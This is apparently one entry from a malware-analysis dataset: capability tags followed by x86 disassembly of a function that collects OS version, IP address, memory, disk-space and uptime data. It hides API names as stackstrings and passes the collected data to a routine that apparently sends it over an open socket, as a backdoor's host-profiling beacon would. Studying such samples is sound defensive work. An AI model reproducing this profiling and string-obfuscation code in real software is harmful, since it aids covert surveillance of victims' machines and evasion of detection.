Function at 0x412dc6
Capabilities:
Check os version
Contain obfuscated stackstrings
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e0
push esi
mov dword [ebp - 0x1e4], 0xffffffff
mov byte [ebp - 0x360], 0x66
mov byte [ebp - 0x272], 0
mov dword [ebp - 0x35c], 0x9c
lea eax, [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [ebp - 0x350]
push ecx
lea edx, [ebp - 0x354]
push edx
lea eax, [ebp - 0x358]
push eax
call fcn.00412d48
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x100]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00412ae5
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x1c4]
push eax
call fcn.004245f0
add esp, 0xc
mov dword [ebp - 0x364], 0x10
lea ecx, [ebp - 0x364]
push ecx
lea edx, [ebp - 0x1c4]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x80]
push ecx
call dword [sym.imp.WS2_32.dll_getsockname]
push 4
lea edx, [ebp - 0x1c0]
push edx
lea eax, [ebp - 0x2a8]
push eax
call fcn.00424650
add esp, 0xc
push 0x32
lea ecx, [ebp - 0x100]
push ecx
lea edx, [ebp - 0x2a4]
push edx
call fcn.00424650
add esp, 0xc
call fcn.00412ce3
push eax
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.00412980
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x1ac], 0x9c
lea ecx, [ebp - 0x1ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x1a8], 5
jne 0x412efa
cmp dword [ebp - 0x1a4], 0
jne 0x412efa
push 0x44db18
lea edx, [ebp - 0x2bc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x412f23
lea eax, [ebp - 0x38c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x378]
push ecx
push 0x44db1c
lea edx, [ebp - 0x2bc]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x210], 0x20
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [ebp - 0x208]
shr edx, 0xa
shr edx, 0xa
mov dword [ebp - 0x230], edx
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1e8], 0
jmp 0x412fa2
mov eax, dword [ebp - 0x1e8]
add eax, 1
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x1a
jge 0x41324d
mov ecx, dword [ebp - 0x1e8]
add ecx, 0x42
mov byte [ebp - 0x110], cl
mov byte [ebp - 0x10f], 0x3a
mov byte [ebp - 0x10e], 0x5c
mov byte [ebp - 0x10d], 0
mov byte [ebp - 0x3c4], 0x47
mov byte [ebp - 0x3c3], 0x65
mov byte [ebp - 0x3c2], 0x74
mov byte [ebp - 0x3c1], 0x44
mov byte [ebp - 0x3c0], 0x72
mov byte [ebp - 0x3bf], 0x69
mov byte [ebp - 0x3be], 0x76
mov byte [ebp - 0x3bd], 0x65
mov byte [ebp - 0x3bc], 0x54
mov byte [ebp - 0x3bb], 0x79
mov byte [ebp - 0x3ba], 0x70
mov byte [ebp - 0x3b9], 0x65
mov byte [ebp - 0x3b8], 0x41
mov byte [ebp - 0x3b7], 0
mov byte [ebp - 0x3a0], 0x4b
mov byte [ebp - 0x39f], 0x45
mov byte [ebp - 0x39e], 0x52
mov byte [ebp - 0x39d], 0x4e
mov byte [ebp - 0x39c], 0x45
mov byte [ebp - 0x39b], 0x4c
mov byte [ebp - 0x39a], 0x33
mov byte [ebp - 0x399], 0x32
mov byte [ebp - 0x398], 0x2e
mov byte [ebp - 0x397], 0x64
mov byte [ebp - 0x396], 0x6c
mov byte [ebp - 0x395], 0x6c
mov byte [ebp - 0x394], 0
lea edx, [ebp - 0x3c4]
push edx
lea eax, [ebp - 0x3a0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3d8], eax
lea ecx, [ebp - 0x110]
push ecx
call dword [ebp - 0x3d8]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 3
je 0x4130d2
jmp 0x412f93
mov byte [ebp - 0x3b4], 0x47
mov byte [ebp - 0x3b3], 0x65
mov byte [ebp - 0x3b2], 0x74
mov byte [ebp - 0x3b1], 0x44
mov byte [ebp - 0x3b0], 0x69
mov byte [ebp - 0x3af], 0x73
mov byte [ebp - 0x3ae], 0x6b
mov byte [ebp - 0x3ad], 0x46
mov byte [ebp - 0x3ac], 0x72
mov byte [ebp - 0x3ab], 0x65
mov byte [ebp - 0x3aa], 0x65
mov byte [ebp - 0x3a9], 0x53
mov byte [ebp - 0x3a8], 0x70
mov byte [ebp - 0x3a7], 0x61
mov byte [ebp - 0x3a6], 0x63
mov byte [ebp - 0x3a5], 0x65
mov byte [ebp - 0x3a4], 0x45
mov byte [ebp - 0x3a3], 0x78
mov byte [ebp - 0x3a2], 0x41
mov byte [ebp - 0x3a1], 0
mov byte [ebp - 0x3d4], 0x4b
mov byte [ebp - 0x3d3], 0x45
mov byte [ebp - 0x3d2], 0x52
mov byte [ebp - 0x3d1], 0x4e
mov byte [ebp - 0x3d0], 0x45
mov byte [ebp - 0x3cf], 0x4c
mov byte [ebp - 0x3ce], 0x33
mov byte [ebp - 0x3cd], 0x32
mov byte [ebp - 0x3cc], 0x2e
mov byte [ebp - 0x3cb], 0x64
mov byte [ebp - 0x3ca], 0x6c
mov byte [ebp - 0x3c9], 0x6c
mov byte [ebp - 0x3c8], 0
lea edx, [ebp - 0x3b4]
push edx
lea eax, [ebp - 0x3d4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x390], eax
push 0
lea ecx, [ebp - 0x218]
push ecx
push 0
lea edx, [ebp - 0x110]
push edx
call dword [ebp - 0x390]
test eax, eax
je 0x413248
mov eax, dword [ebp - 0x1f0]
add eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x1ec]
adc ecx, dword [ebp - 0x214]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
push 0
push 0x400
mov edx, dword [ebp - 0x1ec]
push edx
mov eax, dword [ebp - 0x1f0]
push eax
call fcn.00425910
push 0
push 0x400
push edx
push eax
call fcn.00425910
mov dword [ebp - 0x104], eax
jmp 0x412f93
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x3e0], ecx
mov dword [ebp - 0x3dc], 0
fild qword [ebp - 0x3e0]
call fcn.00425234
mov dword [ebp - 0x234], eax
lea edx, [ebp - 0x1e0]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x368]
xor edx, edx
mov ecx, 0x5265c00
div ecx
xor edx, edx
mov ecx, 0x18
div ecx
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp - 0x1d8]
and ecx, 0xffff
mov eax, dword [ebp - 0x1b4]
xor edx, edx
mov esi, 0x5265c00
div esi
sub ecx, eax
push ecx
mov edx, dword [ebp - 0x1da]
and edx, 0xffff
sub edx, dword [ebp - 0x1c8]
push edx
mov eax, dword [ebp - 0x1de]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x1e0]
and ecx, 0xffff
push ecx
push str._4d__.2d__.2d__.2d
lea edx, [ebp - 0x268]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x270], eax
push 0x148
lea ecx, [ebp - 0x360]
push ecx
mov ecx, dword [ebp + 0xc]
call fcn.00402ed7
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e4]
pop esi
mov esp, ebp
pop ebp
ret